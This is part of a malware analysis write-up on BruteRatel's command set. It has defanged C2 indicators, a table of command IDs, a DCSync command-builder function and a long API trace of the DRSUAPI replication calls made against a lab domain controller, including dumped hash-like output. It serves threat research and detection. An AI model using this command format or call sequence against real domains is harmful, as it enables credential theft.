BRUTERATEL COMMAND LIST PART 4
updated : 02/05/2025
Context
BruteRatel SHA256 : d8080b4f7a238f28435649f74fdd5679f7f7133ea81d12d9f10b05017b0897b1
Sample Source :
bazaar.abuse.ch
VirusTotal :
VirusTotal
Network / C2 :
http://tiguanin[.]com/bazar.php:8041
http://tiguanin[.]com/admin.php:8041
http://bazarunet[.]com/admin.php:8041
http://bazarunet[.]com/bazar.php:8041
http://greshunka[.]com/bazar.php:8041
http://greshunka[.]com/admin.php:8041
INTRO
This article is the 4th part of my full analysis of BruteRatel commands :
Previous Part
Next Part
Full list
This detailed analysis will be split into several parts, I will be presenting in this post the next 20 commands that BruteRatel can respond to.
COMMAND LIST
Here is a short description of the next 20 command codes and purpose :
Command ID | Description | Parameter |
---|---|---|
“\x81\x98” | DCSync | $Admin, $DomainName |
“\x53\x49” | netshareenum | $servername, $level |
“\x13\x52” | ExecWQLQuery | $query |
“\xe7\x81” | GetAccountSidFromPid | $pid |
“\x56\xf8 | unknown | $p1 |
“\x46\xcb” | unknown2 | $p1 |
“\x32\x49” | unknown3 | NA |
“\x92\x64” | EnumProcessModules | $pid |
“\x48\x73” | CreateProcessSuspended | $processPath |
“\x44\x80” | LoadManagedCode | $binary |
“\x56\x34 | StartService | $MachineName, $ServiceName |
“\x8E\xB9 | NetSessionEnum | $ServerName |
“\x79\x75” | IDirectorySearch | $HostName, $SearchFilter, $AttributeNames |
“\x9a\xb9” | NetUserModalsGet | $ServerName |
“\x9a\xb6” | GetScheduledTask | $serverName |
“\xb3\x29” | netshareenumlist | $servername |
“\xa9\xe4” | InjectProcessShellcode | $pid |
“\xf3\xd8” | WtsEnumProcessA | $RDServerName |
“\xbf\xb” | UpdateConfig | $config |
“\xa9\xb3” | count_exec_cmd | $count, $sleep, $cmd |
In the following section, I share some dynamic analysis results from the aforementioned commands :
DCSync
updated : 10/04/2025
It’s a very likely implementation of the DCSync attack based from the work of
Vicent Le Toux MakeMeEntrepriseAdmin
and Benjamin Delpy MimiKatz
function DCSync($TypeFormatString, $ProcFormatString, $Admin, $DomainName)
{
$TypeFormatString_b64 = base64_encode($TypeFormatString);
$ProcFormatString_b64 = base64_encode($ProcFormatString);
$cmd_id = "\x81\x98 $TypeFormatString_b64 $ProcFormatString_b64 AA BB CC DD EE FF GG HH II JJ KK LL MM NN $Admin $DomainName";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
The first parameter of 1757 bytes matches the following FORMAT_STRING as definied in MimiKatz:
typedef struct _ms2Ddrsr_MIDL_TYPE_FORMAT_STRING {
SHORT Pad;
UCHAR Format[1757];
} ms2Ddrsr_MIDL_TYPE_FORMAT_STRING;
The second parameter of 853 bytes matches MimiKatz:
typedef struct _ms2Ddrsr_MIDL_PROC_FORMAT_STRING {
SHORT Pad;
UCHAR Format[853];
} ms2Ddrsr_MIDL_PROC_FORMAT_STRING;
The NdrClientCall2 call sequence is the following :
IDL_DRSBind
IDL_DRSDomainControlerInfo
IDL_DRSCrackNames
IDL_DRSBind
IDL_DRSGetNCChanges
IDL_DRSUnbind
II. Execution
[CNT] [750]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <ASN1_CreateModule> in [MSASN1.dll]
[INF] [ Undocumented ]
[PAR] ASN1uint32_t nVersion : 0x10000
[PAR] ASN1encodingrule_e eRule : 0x400
[PAR] ASN1uint32_t dwFlags : 0x1000
[PAR] ASN1uint32_t cPDU : 0x1
[PAR] ASN1GenericFun_t apfnEncoder : 0x0000007007E090A0
[PAR] ASN1GenericFun_t apfnDecoder : 0x0000007007E090A0
[PAR] ASN1FreeFun_t apfnFreeMemory : 0x0000007007E090A0
[PAR] ASN1uint32_t* acbStructSize : 0x0000007007E09760
[PAR] ASN1magic_t nModuleName : 0x0
[RET] [0x7007ddb54c]
[CNT] [751]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <ASN1_CreateEncoder> in [MSASN1.dll]
[INF] [ Undocumented ]
[PAR] ASN1module_t pModule : 0x0000007005F7D6A0
[PAR] ASN1encoding_t* ppEncoderInfo : 0x0000007007E06240
[PAR] ASN1octet_t* pbBuff : 0x0
[PAR] ASN1uint32_t cbBuffSize : 0x0
[PAR] ASN1encoding_t pParent : 0x0
[RET] [0x7007ddb57b]
[CNT] [752]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <ASN1_CreateDecoder> in [MSASN1.dll]
[INF] [ Undocumented ]
[PAR] ASN1module_t pModule : 0x0000007005F7D6A0
[PAR] ASN1decoding_t* ppDecoderInfo : 0x0000007007E06230
[PAR] ASN1octet_t* pbBuff : 0x0
[PAR] ASN1uint32_t cbBuffSize : 0x0
[PAR] ASN1decoding_t pParent : 0x0
[RET] [0x7007ddb5bc]
[CNT] [759]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <LsaOpenPolicy> in [ADVAPI32.dll]
[PAR] PLSA_UNICODE_STRING SystemName : 0x0
[PAR] PLSA_OBJECT_ATTRIBUTES ObjectAttributes : 0x000000700852E6E0
[PAR] ACCESS_MASK DesiredAccess : 0x1
[PAR] PLSA_HANDLE PolicyHandle : 0x000000700852E6D8
[RET] [0x7007ddd2e2]
[CNT] [760]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <LsaQueryInformationPolicy> in [ADVAPI32.dll]
[PAR] LSA_HANDLE PolicyHandle : 0x0000007005F7DE60
[PAR] POLICY_INFORMATION_CLASS InformationClass : 0xc (PolicyDnsDomainInformation)
[PAR] PVOID* Buffer : 0x000000700852E7E0
[RET] [0x7007ddd2f9]
[CNT] [761]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <LsaClose> in [ADVAPI32.dll]
[PAR] LSA_HANDLE ObjectHandle : 0x0000007005F7DE60
[RET] [0x7007ddd30d]
[CNT] [762]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <DsGetDcNameW> in [LOGONCLI.DLL]
[PAR] LPCWSTR ComputerName : 0x0 (null)
[PAR] LPCWSTR DomainName : 0x0000007005F73758
[STR] -> "mylab.local"
[PAR] GUID* DomainGuid : 0x0
[PAR] LPWCSTR SiteName : 0x0 (null)
[PAR] ULONG Flags : 0x40020010 (DS_DIRECTORY_SERVICE_REQUIRED | DS_IS_DNS_NAME | DS_RETURN_DNS_NAME)
[PAR] PDOMAIN_CONTROLLER_INFOW* DomainControllerInfo : 0x000000700852E718
[RET] [0x7007ddd479]
[CNT] [772]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <RtlGetNtVersionNumbers> in [ntdll.dll]
[INF] [ Undocumented Function ]
[PAR] DWORD* MajorVersion : 0x000000700852E7C8
[PAR] DWORD* MinorVersion : 0x000000700852E7CC
[PAR] DWORD* BuildNumber : 0x000000700852E7D0
[RET] [0x7007ddb117]
[CNT] [773]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <RpcStringBindingComposeW> in [RPCRT4.dll]
[PAR] RPC_WSTR ObjUuid : 0x0 (null)
[PAR] RPC_WSTR ProtSeq : 0x0000007005F2E850
[STR] -> "ncacn_ip_tcp"
[PAR] RPC_WSTR NetworkAddr : 0x0000007005F2EE50
[STR] -> "MYDC.mylab.local"
[PAR] RPC_WSTR Endpoint : 0x0 (null)
[PAR] RPC_WSTR Options : 0x0 (null)
[PAR] RPC_WSTR* StringBinding : 0x000000700852E6C0
[RET] [0x7007dda470]
[CNT] [774]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <RpcBindingFromStringBindingW> in [RPCRT4.dll]
[PAR] RPC_WSTR StringBinding : 0x0000007005F743C0
[STR] -> "ncacn_ip_tcp:MYDC.mylab.local"
[PAR] RPC_BINDING_HANDLE* Binding : 0x000000700852E7E8
[RET] [0x7007dda489]
[CNT] [775]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <RpcBindingSetAuthInfoExW> in [RPCRT4.dll]
[PAR] RPC_BINDING_HANDLE Binding : 0x0000007005F3DA00
[PAR] RPC_WSTR ServerPrincName : 0x0000007005F7DBA0
[STR] -> "ldap/MYDC.mylab.local"
[PAR] unsigned long AuthnLevel : 0x6 (RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
[PAR] unsigned long AuthnSvc : 0x9 (RPC_C_AUTHN_GSS_NEGOTIATE)
[PAR] RPC_AUTH_IDENTITY_HANDLE AuthIdentity : 0x0
[PAR] unsigned long AuthzSvc : 0x0
[PAR] RPC_SECURITY_QOS* SecurityQOS : 0x000000700852E6D0
[RET] [0x7007dda586]
[CNT] [776]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <RpcBindingSetOption> in [RPCRT4.dll]
[PAR] RPC_BINDING_HANDLE hBinding : 0x0000007005F3DA00
[PAR] unsigned long option : 0xa (RPC_C_OPT_SECURITY_CALLBACK)
[PAR] ULONG_PTR optionValue : 0x0000007007DD4C70
[RET] [0x7007dda5b5]
[CNT] [778]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <NdrClientCall2> in [RPCRT4.dll]
[PAR] PMIDL_STUB_DESC pStubDescriptor : 0x0000000F04B2EBF8
[FLD] -> RpcInterfaceInformation = 0x0000000F04B2EB28
[FLD] -> Length = 0x60
[FLD] -> InterfaceId
[FLD] -> SyntaxGUID = ({E3514235-4B06-11D1-AB04-00C04FC2DCD2})
[FLD] -> MajorVersion = 0x4
[FLD] -> MinorVersion = 0x0
[FLD] -> TransferSyntax
[FLD] -> SyntaxGUID = ({8A885D04-1CEB-11C9-9FE8-08002B104860})
[FLD] -> MajorVersion = 0x2
[FLD] -> MinorVersion = 0x0
[FLD] -> DispatchTable = NULL
[FLD] -> RpcProtseqEndpointCount = 0x0
[FLD] -> RpcProtseqEndpoint = NULL
[FLD] -> InterpreterInfo = 0x0000000000000000
[FLD] -> Flags = 0x0
[FLD] -> pfnAllocate = 0x0000000F04403670
[FLD] -> pfnFree = 0x0000000F04403680
[FLD] -> pGenericBindingInfo = 0x0000000F04B2EA90
[FLD] -> apfnNdrRundownRoutines = 0x0000000000000000
[FLD] -> aGenericBindingRoutinePairs = 0x0000000000000000
[FLD] -> apfnExprEval = 0x0000000000000000
[FLD] -> aXmitQuintuple = 0x0000000000000000
[FLD] -> pFormatTypes = 0x0000000F04437482
[FLD] -> fCheckBounds = 0x1
[FLD] -> Version = 0x60000
[FLD] -> pMallocFreeStruct = 0x0000000000000000
[FLD] -> MIDLVersion = 0x8000253
[FLD] -> CommFaultOffsets = 0x0
[FLD] -> aUserMarshalQuadruple = 0x0
[FLD] -> NotifyRoutineTable = 0x0
[FLD] -> mFlags = 0x1
[FLD] -> CsRoutineTables = 0x0
[FLD] -> ProxyServerInfo = 0x0
[FLD] -> pExprInfo = 0x0
[PAR] PFORMAT_STRING pFormat : 0x0000000F04437122 (IDL_DRSBind)
[PAR] handle_t rpc_handle : 0x0000000F024DEBB0
[PAR] UUID* puuidClientDsa : 0x0000000F04437020 ({E24D201A-4FD6-11D1-A3DA-0000F875AE0D})
[PAR] DRS_EXTENSION* pextClient : 0x0000000F04B2E794
[PAR] DRS_EXTENSION** pextServer : 0x0000000F04B2E570
[PAR] DRS_HANDLE* phDrs : 0x0000000F04B2E608
[RET] [0x7007dd2af0]
[CNT] [779]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <I_RpcBindingInqSecurityContext> in [RPCRT4.dll]
[PAR] RPC_BINDING_HANDLE Binding : 0x0000007005FA1350
[PAR] void** SecurityContextHandle : 0x000000700852DE08
[RET] [0x7007dd4c88]
[CNT] [780]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <QueryContextAttributesA> in [SspiCli.dll]
[PAR] PCtxtHandle phContext : 0x0000007005FA12F8
[PAR] unsigned long ulAttribute : 0x9 (ISC_RET_DELEGATE | ISC_RET_SEQUENCE_DETECT)
[PAR] void *pBuffer : 0x0000007007E07100
[RET] [0x7007dd4cca]
[CNT] [781]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <NdrClientCall2> in [RPCRT4.dll]
[PAR] PMIDL_STUB_DESC pStubDescriptor : 0x0000000F04B2EBF8
[FLD] -> RpcInterfaceInformation = 0x0000000F04B2EB28
[FLD] -> Length = 0x60
[FLD] -> InterfaceId
[FLD] -> SyntaxGUID = ({E3514235-4B06-11D1-AB04-00C04FC2DCD2})
[FLD] -> MajorVersion = 0x4
[FLD] -> MinorVersion = 0x0
[FLD] -> TransferSyntax
[FLD] -> SyntaxGUID = ({8A885D04-1CEB-11C9-9FE8-08002B104860})
[FLD] -> MajorVersion = 0x2
[FLD] -> MinorVersion = 0x0
[FLD] -> DispatchTable = NULL
[FLD] -> RpcProtseqEndpointCount = 0x0
[FLD] -> RpcProtseqEndpoint = NULL
[FLD] -> InterpreterInfo = 0x0000000000000000
[FLD] -> Flags = 0x0
[FLD] -> pfnAllocate = 0x0000000F04403670
[FLD] -> pfnFree = 0x0000000F04403680
[FLD] -> pGenericBindingInfo = 0x0000000F04B2EA90
[FLD] -> apfnNdrRundownRoutines = 0x0000000000000000
[FLD] -> aGenericBindingRoutinePairs = 0x0000000000000000
[FLD] -> apfnExprEval = 0x0000000000000000
[FLD] -> aXmitQuintuple = 0x0000000000000000
[FLD] -> pFormatTypes = 0x0000000F04437482
[FLD] -> fCheckBounds = 0x1
[FLD] -> Version = 0x60000
[FLD] -> pMallocFreeStruct = 0x0000000000000000
[FLD] -> MIDLVersion = 0x8000253
[FLD] -> CommFaultOffsets = 0x0
[FLD] -> aUserMarshalQuadruple = 0x0
[FLD] -> NotifyRoutineTable = 0x0
[FLD] -> mFlags = 0x1
[FLD] -> CsRoutineTables = 0x0
[FLD] -> ProxyServerInfo = 0x0
[FLD] -> pExprInfo = 0x0
[PAR] PFORMAT_STRING pFormat : 0x0000000F044373EE (IDL_DRSDomainControlerInfo)
[PAR] DRS_HANDLE hDrs : 0x0000000F0250A6C0
[PAR] DWORD dwInVersion : 0x1
[PAR] DRS_MSG_DCINFOREQ* pmsgIn : 0x0000000F04B2E630
[FLD] -> Domain = "mylab.local"
[FLD] -> InfoLevel = 0x2
[PAR] DWORD* pdwOutVersion : 0x0000000F04B2E604
[PAR] DRS_MSG_DCINFOREPLY* pmsgOut : 0x0000000F04B2E640
[RET] [0x7007dd2b70]
[CNT] [782]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <I_RpcBindingInqSecurityContext> in [RPCRT4.dll]
[PAR] RPC_BINDING_HANDLE Binding : 0x0000007005FA1350
[PAR] void** SecurityContextHandle : 0x000000700852DE78
[RET] [0x7007dd4c88]
[CNT] [783]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <FreeContextBuffer> in [SspiCli.dll]
[PAR] PVOID pvContextBuffer : 0x0000007005F21820
[RET] [0x7007dd4c9e]
[CNT] [784]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <QueryContextAttributesA> in [SspiCli.dll]
[PAR] PCtxtHandle phContext : 0x0000007005FA12F8
[PAR] unsigned long ulAttribute : 0x9 (ISC_RET_DELEGATE | ISC_RET_SEQUENCE_DETECT)
[PAR] void *pBuffer : 0x0000007007E07100
[RET] [0x7007dd4cca]
[ * ] [pid 0xba4][tid 0x5b4] c:\windows\system32\rundll32.exe
[API] <IDL_DRSDomainControlerInfo>
[PAR] DWORD pdwOutVersion : 0x2
[PAR] DRS_MSG_DCINFOREPLY* pmsgOut : 0x0000000F04B2E640
[FLD] -> cItems = 0x1
[FLD] -> rItems = 0x0000000F024B1C10
[FLD] -> NetbiosName = 0x0000000F024B1C10
[STR] -> "MYDC"
[FLD] -> DnsHostName = 0x0000000F0250D2F0
[STR] -> "MYDC.mylab.local"
[FLD] -> SiteName = 0x0000000F0250CEE0
[STR] -> "Default-First-Site-Name"
[FLD] -> SiteObjectName = 0x0000000F024C8B00
[STR] -> "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=mylab,DC=local"
[FLD] -> ComputerObjectName = 0x0000000F024F12D0
[STR] -> "CN=MYDC,OU=Domain Controllers,DC=mylab,DC=local"
[FLD] -> ServerObjectName = 0x0000000F02504470
[STR] -> "CN=MYDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=mylab,DC=local"
[FLD] -> NtdsDsaObjectName = 0x0000000F02539AD0
[STR] -> "CN=NTDS Settings,CN=MYDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=mylab,DC=local"
[FLD] -> fIsPdc = 1
[FLD] -> fDsEnabled = 1
[FLD] -> fIsGc = 1
[FLD] -> SiteObjectGuid = ({AE5589ED-B84D-4FE5-B2B0-99E85AAA7595})
[FLD] -> ComputerObjectGuid = ({448E2A47-FB90-43BD-A9F3-24A079DEAB1E})
[FLD] -> ServerObjectGuid = ({132D5FEF-6D04-4430-A90C-864777A8465E})
[FLD] -> NtdsDsaObjectGuid = ({619FEAD3-E334-460F-A2BC-8ADFC1B85AA6})
[RES] CLIENT_CALL_RETURN 0x0
[CNT] [786]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <MesDecodeIncrementalHandleCreate> in [RPCRT4.dll]
[PAR] void* UserState : 0x000000700852E600
[PAR] MIDL_ES_READ ReadFn : 0x0000007007DD4C40
[PAR] handle_t* pHandle : 0x000000700852E5F8
[RET] [0x7007dd265a]
[CNT] [787]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <NdrMesTypeFree2> in [RPCRT4.dll]
[PAR] handle_t Handle : 0x0000007005FA2070
[PAR] MIDL_TYPE_PICKLING_INFO* pPicklingInfo : 0x0000007007E09060
[PAR] MIDL_STUB_DESC* pStubDesc : 0x000000700852EC78
[PAR] PFORMAT_STRING pFormatString : 0x0000007007E0779A
[PAR] void* pObject : 0x000000700852E6C0
[RET] [0x7007dd1d0d]
[CNT] [788]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <LookupAccountNameW> in [ADVAPI32.dll]
[PAR] LPCWSTR lpSystemName : 0x0000007005F2EE50
[STR] -> "MYDC.mylab.local"
[PAR] LPCWSTR lpAccountName : 0x0000007005F73758
[STR] -> "mylab.local"
[PAR] PSID Sid : 0x0
[PAR] LPDWORD cbSid : 0x000000700852E5E8
[PAR] LPWSTR ReferencedDomainName : 0x0
[PAR] LPDWORD cchReferencedDomainName : 0x000000700852E5EC
[PAR] PSID_NAME_USE peUse : 0x000000700852E5E4
[RET] [0x7007dddfcc]
[CNT] [789]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <LookupAccountNameW> in [ADVAPI32.dll]
[PAR] LPCWSTR lpSystemName : 0x0000007005F2EE50
[STR] -> "MYDC.mylab.local"
[PAR] LPCWSTR lpAccountName : 0x0000007005F73758
[STR] -> "mylab.local"
[PAR] PSID Sid : 0x0000007005F7E120
[PAR] LPDWORD cbSid : 0x000000700852E5E8
[PAR] LPWSTR ReferencedDomainName : 0x0000007005F72FE0
[PAR] LPDWORD cchReferencedDomainName : 0x000000700852E5EC
[PAR] PSID_NAME_USE peUse : 0x000000700852E5E4
[RET] [0x7007dde026]
[CNT] [790]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <ConvertSidToStringSidW> in [ADVAPI32.dll]
[PAR] PSID Sid : 0x0000007005F7E120
[PAR] LPWSTR* StringSid : 0x000000700852E698
[RET] [0x7007ddda0e]
[CNT] [791]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <NdrClientCall2> in [RPCRT4.dll]
[PAR] PMIDL_STUB_DESC pStubDescriptor : 0x0000000F04B2EBF8
[FLD] -> RpcInterfaceInformation = 0x0000000F04B2EB28
[FLD] -> Length = 0x60
[FLD] -> InterfaceId
[FLD] -> SyntaxGUID = ({E3514235-4B06-11D1-AB04-00C04FC2DCD2})
[FLD] -> MajorVersion = 0x4
[FLD] -> MinorVersion = 0x0
[FLD] -> TransferSyntax
[FLD] -> SyntaxGUID = ({8A885D04-1CEB-11C9-9FE8-08002B104860})
[FLD] -> MajorVersion = 0x2
[FLD] -> MinorVersion = 0x0
[FLD] -> DispatchTable = NULL
[FLD] -> RpcProtseqEndpointCount = 0x0
[FLD] -> RpcProtseqEndpoint = NULL
[FLD] -> InterpreterInfo = 0x0000000000000000
[FLD] -> Flags = 0x0
[FLD] -> pfnAllocate = 0x0000000F04403670
[FLD] -> pfnFree = 0x0000000F04403680
[FLD] -> pGenericBindingInfo = 0x0000000F04B2EA90
[FLD] -> apfnNdrRundownRoutines = 0x0000000000000000
[FLD] -> aGenericBindingRoutinePairs = 0x0000000000000000
[FLD] -> apfnExprEval = 0x0000000000000000
[FLD] -> aXmitQuintuple = 0x0000000000000000
[FLD] -> pFormatTypes = 0x0000000F04437482
[FLD] -> fCheckBounds = 0x1
[FLD] -> Version = 0x60000
[FLD] -> pMallocFreeStruct = 0x0000000000000000
[FLD] -> MIDLVersion = 0x8000253
[FLD] -> CommFaultOffsets = 0x0
[FLD] -> aUserMarshalQuadruple = 0x0
[FLD] -> NotifyRoutineTable = 0x0
[FLD] -> mFlags = 0x1
[FLD] -> CsRoutineTables = 0x0
[FLD] -> ProxyServerInfo = 0x0
[FLD] -> pExprInfo = 0x0
[PAR] PFORMAT_STRING pFormat : 0x0000000F04437350 (IDL_DRSCrackNames)
[PAR] DRS_HANDLE hDrs : 0x0000000F0250A6C0
[PAR] DWORD dwInVersion : 0x1
[PAR] DRS_MSG_CRACKREQ* pmsgIn : 0x0000000F04B2E560
[FLD] -> CodePage = 0x0
[FLD] -> LocaleId = 0x0
[FLD] -> dwFlags = 0x0
[FLD] -> formatOffered = 0xfffffff9
[FLD] -> formatDesired = 0x6
[FLD] -> cNames = 0x1
[FLD] -> rpNames[0] = "admin"
[PAR] DWORD* pdwOutVersion : 0x0000000F04B2E554
[PAR] DRS_MSG_CRACKREPLY* pmsgOut : 0x0000000F04B2E558
[RET] [0x7007dd2b30]
[ * ] [pid 0xba4][tid 0x5b4] c:\windows\system32\rundll32.exe
[API] <IDL_DRSCrackNames>
[PAR] DWORD pdwOutVersion : 0x1
[PAR] DRS_MSG_CRACKREPLY* pmsgOut : 0x0000000F04B2E558
[FLD] -> cItem = 0x1
[FLD] -> rItems[0] = 0x0000000F02521630
[FLD] -> status = 0x0
[FLD] -> pDomain = 0x0000000F02521930
[STR] -> "mylab.local"
[FLD] -> pName = 0x0000000F0250B3E0
[STR] -> "{4970008d-5d6e-420c-b9e9-ed3ab8710838}"
[RES] CLIENT_CALL_RETURN 0x0
[...]
[CNT] [803]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <NdrClientCall2> in [RPCRT4.dll]
[PAR] PMIDL_STUB_DESC pStubDescriptor : 0x0000000F04B2EBF8
[FLD] -> RpcInterfaceInformation = 0x0000000F04B2EB28
[FLD] -> Length = 0x60
[FLD] -> InterfaceId
[FLD] -> SyntaxGUID = ({E3514235-4B06-11D1-AB04-00C04FC2DCD2})
[FLD] -> MajorVersion = 0x4
[FLD] -> MinorVersion = 0x0
[FLD] -> TransferSyntax
[FLD] -> SyntaxGUID = ({8A885D04-1CEB-11C9-9FE8-08002B104860})
[FLD] -> MajorVersion = 0x2
[FLD] -> MinorVersion = 0x0
[FLD] -> DispatchTable = NULL
[FLD] -> RpcProtseqEndpointCount = 0x0
[FLD] -> RpcProtseqEndpoint = NULL
[FLD] -> InterpreterInfo = 0x0000000000000000
[FLD] -> Flags = 0x0
[FLD] -> pfnAllocate = 0x0000000F04403670
[FLD] -> pfnFree = 0x0000000F04403680
[FLD] -> pGenericBindingInfo = 0x0000000F04B2EA90
[FLD] -> apfnNdrRundownRoutines = 0x0000000000000000
[FLD] -> aGenericBindingRoutinePairs = 0x0000000000000000
[FLD] -> apfnExprEval = 0x0000000000000000
[FLD] -> aXmitQuintuple = 0x0000000000000000
[FLD] -> pFormatTypes = 0x0000000F04437482
[FLD] -> fCheckBounds = 0x1
[FLD] -> Version = 0x60000
[FLD] -> pMallocFreeStruct = 0x0000000000000000
[FLD] -> MIDLVersion = 0x8000253
[FLD] -> CommFaultOffsets = 0x0
[FLD] -> aUserMarshalQuadruple = 0x0
[FLD] -> NotifyRoutineTable = 0x0
[FLD] -> mFlags = 0x1
[FLD] -> CsRoutineTables = 0x0
[FLD] -> ProxyServerInfo = 0x0
[FLD] -> pExprInfo = 0x0
[PAR] PFORMAT_STRING pFormat : 0x0000000F044371A8 (IDL_DRSGetNCChanges)
[PAR] DRS_HANDLE hDrs : 0x0000000F024B1C10
[PAR] DWORD dwInVersion : 0x8
[PAR] DRS_MSG_GETCHGREQ* pmsgIn : 0x0000000F04B2E808
[FLD] -> uuidDsaObjDest = ({619FEAD3-E334-460F-A2BC-8ADFC1B85AA6})
[FLD] -> uuidInvocIdSrc = ({00000000-0000-0000-0000-000000000000})
[FLD] -> pNc = 0x0000000F04B2E7CC
[FLD] -> Guid = ({4970008D-5D6E-420C-B9E9-ED3AB8710838})
[FLD] -> Sid = 0x0000000F04B2E7E4
[FLD] -> Revision = 0
[FLD] -> SubAuthorityCount = 0
[FLD] -> IdentifierAuthority = {0,0,0,0,0,0} (SECURITY_NULL_SID_AUTHORITY)
[FLD] -> StringName = 0x0000000F04B2E804
[STR] -> ""
[FLD] -> pUpToDateDestVecV1 = 0x0
[FLD] -> ulFlags = 0x288030
[FLD] -> cMaxObjects = 0x1
[FLD] -> cMaxBytes = 0xa00000
[FLD] -> ulExtendedOp = 0x6
[FLD] -> liFsmoInfo = 0x0
[FLD] -> pPartialAttrSet = 0x0000000F02521B30
[FLD] -> dwVersion = 0x1
[FLD] -> dwReserved1 = 0x0
[FLD] -> cAttrs = 0xa
[FLD] -> rgPartialAttr[0] = 0xdd
[FLD] -> rgPartialAttr[1] = 0x12e
[FLD] -> rgPartialAttr[2] = 0x9f
[FLD] -> rgPartialAttr[3] = 0x60
[FLD] -> rgPartialAttr[4] = 0x261
[FLD] -> rgPartialAttr[5] = 0x92
[FLD] -> rgPartialAttr[6] = 0x5a
[FLD] -> rgPartialAttr[7] = 0x5e
[FLD] -> rgPartialAttr[8] = 0x7d
[FLD] -> rgPartialAttr[9] = 0x1b
[PAR] DWORD* pdwOutVersion : 0x0000000F04B2E754
[PAR] DRS_MSG_GETCHGREPLY* pmsgOut : 0x0000000F04B2E888
[RET] [0x7007dd2bb0]
III. Result
[CNT] [814]
[PTP] [0xba4] [0x5b4] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x0000007005F7DFE0
[STR] -> "8198"
[STR] "11"
[STR] "MYDC.mylab.local"
[STR] "AA admin|AB |AC ????|AD 991CBFCF|AF 1106|BC 1 209C6174DA490CAEB422F3FA5A7AE634|BC 0 3DA19D4CDEA2DBD4F3529B644A5802A6|BC "
[STR] "0 1E9C07586A397ADBC4171333015374B7|BC 0 1E9C07586A397ADBC4171333015374B7|BC 0 1E9C07586A397ADBC4171333015374B7|BC 0 1E9C"
[STR] "07586A397ADBC4171333015374B7|BC 0 1E9C07586A397ADBC4171333015374B7|BC 0 1E9C07586A397ADB6A0AA91E5DEAC3E9|BC 0 A31EA367AD"
[STR] "536B9EE4E155C9AB343242|BC 0 BF0017D3D176F2BD5303B0647A8DE922|BC 0 EAD47BF8636D3A1E69F8EFC7C8379764|BC 0 30755C3BC01EE84E"
[STR] "412D63BB26B1AE3D|BC 0 0287C3B43B84B15A853EBB1680D4CBCD|BC 0 2EAC3D0F0B3F6F89A8BAFD4221E1A09E|BC 0 E16EB0C8197BFB3F12315C"
[STR] "9112F2E08A|BC 0 DF6468AE67ABFD475DF832627EB7F9A2|BC 0 C7766E086CF6AEADC7D27D9763467419|BC 0 E78F8618B9C0E1D7821A8D7A8113"
[STR] "F998|BC 0 CFDA5FBC0D4FA62E0605D1BC591E15F5|BC 0 D4DE9352490F714D7950D0AF207E5187|BC 0 CFDA5FBC0D4FA62E4F47C7C22C601421|B"
[STR] "C 0 98CC7A6D2B29B586DB3D9753142A5AEB|BC 0 7135B731DFBC6F3F833BB81F44CF54D1|BC 0 CFDA5FBC0D4FA62E4F47C7C22C601421|BC 0 98"
[STR] "CC7A6D2B29B58687F5F939909320D9|BC 0 136E5F1DD0A64C09E62B8BF770276B03|BC 0 CFDA5FBC0D4FA62E4F47C7C22C601421|BC 0 98CC7A6D"
[STR] "2B29B586821A8D7A8113F998|BC 0 3CFA3306E7E33EDA6663285C54F801A0|BC 0 CFDA5FBC0D4FA62E4F47C7C22C601421|BC 0 CFDA5FBC0D4FA6"
[STR] "2E4F47C7C22C601421|BC 0 CFDA5FBC0D4FA62E4F47C7C22C601421|BC 0 9692FED2F0745968225D53DB0E794E39|BC 0 2A0188BBB2F82D6D0BF8"
[STR] "6FD466EB0957|BC 0 4A0F5DEBFE5A30C63502536F89F4CAC5|BC 0 E55AFBB9A658273D2B2774898BE41455|BC 0 AA8B1BAEE84F09F5A4B3BB7218"
[STR] "34E9F0|BC 0 7376D8CFBA85B427131409F0F73A1F3C|BC 0 0AE79A27F51484ACF18F4613D0A39145|BC 0 2E032A8F0925866FD88BFA60415299E8"
[STR] "|BC 0 749196A082FEE5435ABEA7681C3A38B9|BC 0 27E58DF42E7186CCEB4F2E52CC2DC22F|BC 0 C0DC136960305F09B90934BA388E6C9D|BC 0 "
